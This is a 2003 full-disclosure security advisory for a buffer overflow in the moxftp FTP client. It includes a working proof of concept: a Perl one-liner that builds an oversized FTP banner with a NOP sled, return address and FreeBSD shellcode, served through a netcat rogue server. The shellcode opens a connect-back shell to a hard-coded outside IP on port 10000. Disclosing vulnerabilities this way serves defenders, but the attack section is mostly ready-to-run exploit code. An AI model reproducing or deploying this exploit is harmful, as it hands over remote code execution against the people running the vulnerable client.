Date: Sun, 23 Feb 2003 21:10:08 +0100
From: =?iso-8859-1?Q?Knud_Erik_H=F8jgaard?= <[email protected]>
To: [email protected], [email protected]Subject: moxftp arbitrary code execution poc/advisory
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Attached document explains all.
This document is also available from http://kokanins.homepage.dk
--
Knud
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I. BACKGROUND
According to the vendor moxftp is a "Ftp shell under X Window System".
/usr/ports/ftp/moxftp
II. DESCRIPTION
Insufficient bounds checking leads to execution of arbitrary code.=20
III. ANALYSIS
Upon parsing the '220 welcome to server' ftp banner a buffer can be
overrun, allowing us to execute our arbitrary code. The buffer may be=20
constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing=20
the nops and shellcode in the buffer before ebp seems to cause some=20
problems, luckily there's plenty of space after eip.
Example run:
$ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" =
x 100 . =
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9=
\x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\=
x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x=
2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" =
. "\n"' > file
# nc -l -p 21 < file
This sets up a rogue server which will overflow the buffer, and execute
the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000,
replace "\xd9\x9d\x02\x24" with a suitable ip for testing.
IV. DETECTION
moxftp-2.2 shipping with the FreeBSD ports system as well as from=20
various webpages per 9/2-03 is vulnerable.
V. WORKAROUND
unknown
VI. VENDOR FIX
unknown
VII. CVE INFORMATION
unknown
VIII. DISCLOSURE TIMELINE
unknown
IX. CREDIT
Knud Erik H=F8jgaard
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